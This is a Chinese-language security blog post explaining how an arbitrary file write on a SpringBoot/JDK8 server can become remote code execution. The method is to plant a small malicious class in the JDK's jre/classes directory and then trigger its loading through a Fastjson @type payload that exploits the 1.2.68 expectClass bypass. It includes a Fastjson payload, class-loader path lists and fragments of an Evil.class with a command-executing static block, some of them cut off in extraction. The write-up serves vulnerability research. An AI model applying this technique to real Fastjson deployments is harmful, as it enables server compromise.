0x00 背景
好久一段时间没写文章了,随手写点东西。
昨天看到Landgrey大佬发了篇文章,描述了SpringBoot FatJar上任意文件写到RCE的利用,其中覆盖写恶意charsets.jar文件,使用Fastjson的Charset.forName触发的RCE非常精彩。
- 触发payload
1
2
3
4
5
6{
"x":{
"@type":"java.nio.charset.Charset",
"val":"GBK"
}
}
但覆盖写charsets.jar文件,有两个缺点:
- 文件太大,mac osx版的jdk8u241下,该文件足足3MB大小
- 需要针对目标服务jdk版本准备恶意charsets.jar文件(否则容易影响到正常服务)
这篇文章根据该思路,提供一种更为简单的方式,实现RCE。
0x01 JDK8下的Bootstrap和Ext ClassLoader
根据类的双亲委派模型,类的加载顺序会先从Bootstrap ClassLoader的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。
类加载器中,都会存在着与其对应的类、jar文件路径,通过探究其路径(mac osx的jdk8u241 和 linux的openjdk8环境),可以发现,Bootstrap和Ext ClassLoader对应的类、jar文件目录有:
1. mac osx
- Bootstrap ClassLoader(sun.boot.class.path):
1 | /Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/resources.jar |
sun.boot.class.path是一个配置变量,通过执行1
System.getProperty("sun.boot.class.path")
可以获取到以上路径列表,该列表即为Bootstrap ClassLoader加载类时,文件的读取路径。
ExtClassLoader(java.ext.dirs):
1 | /Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/sunec.jar |
2. linux openjdk8
Bootstrap ClassLoader(sun.boot.class.path):
1 | /opt/java/openjdk/jre/lib/resources.jar |
ExtClassLoader(java.ext.dirs):
1 | /opt/java/openjdk/jre/lib/ext |
3. 实际上
我们通过修改以上的任意jar,都能使用fastjson进行触发加载,但这样,又和charsets.jar有什么区别呢?
聚焦于1
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes
目录,实际上,我们可以通过在该目录(不存在就创建一个)下写入恶意class文件,通过很简单的fastjson payload触发其加载。
0x02 Fastjson触发加载并初始化恶意class
实际上,我们可以参考Fastjson 1.2.68爆出的expectClass免检漏洞,编写一个实现了java.lang.AutoCloseable的恶意类,在其静态代码块中插入命令执行代码,这样,就能通过@type绕过检查,直接触发恶意类的加载,最终实现RCE了。
- 恶意类Evil.class:
1 | import java.io.IOException; |
写入文件到1
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes
执行命令:1
ll /Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes/
可以看到1
-rw-r--r-- 1 root wheel 680B 4 13 13:13 Evil.class
恶意class文件只有680B,相对于charsets.jar文件,具有两个优点:
- 上传的文件更小
- 不需要知道目标jdk版本(直接编译一个低版本的恶意class),不会对业务正常运行带来隐患
- 触发加载的Fastjson payload:
1 | { |
Other
其实Fastjson触发加载初始化class的方法可能还有很多很多,但这里重点想要表达的是,可以通过上传恶意class到jre/classes目录,实现更优的“从文件上传到Fastjson RCE”,可惜的是,jdk11中ClassLoader已经被大幅改动了,就连最新版本的Fastjson都默认开启safe mode了,wenshao摔了我们的饭碗。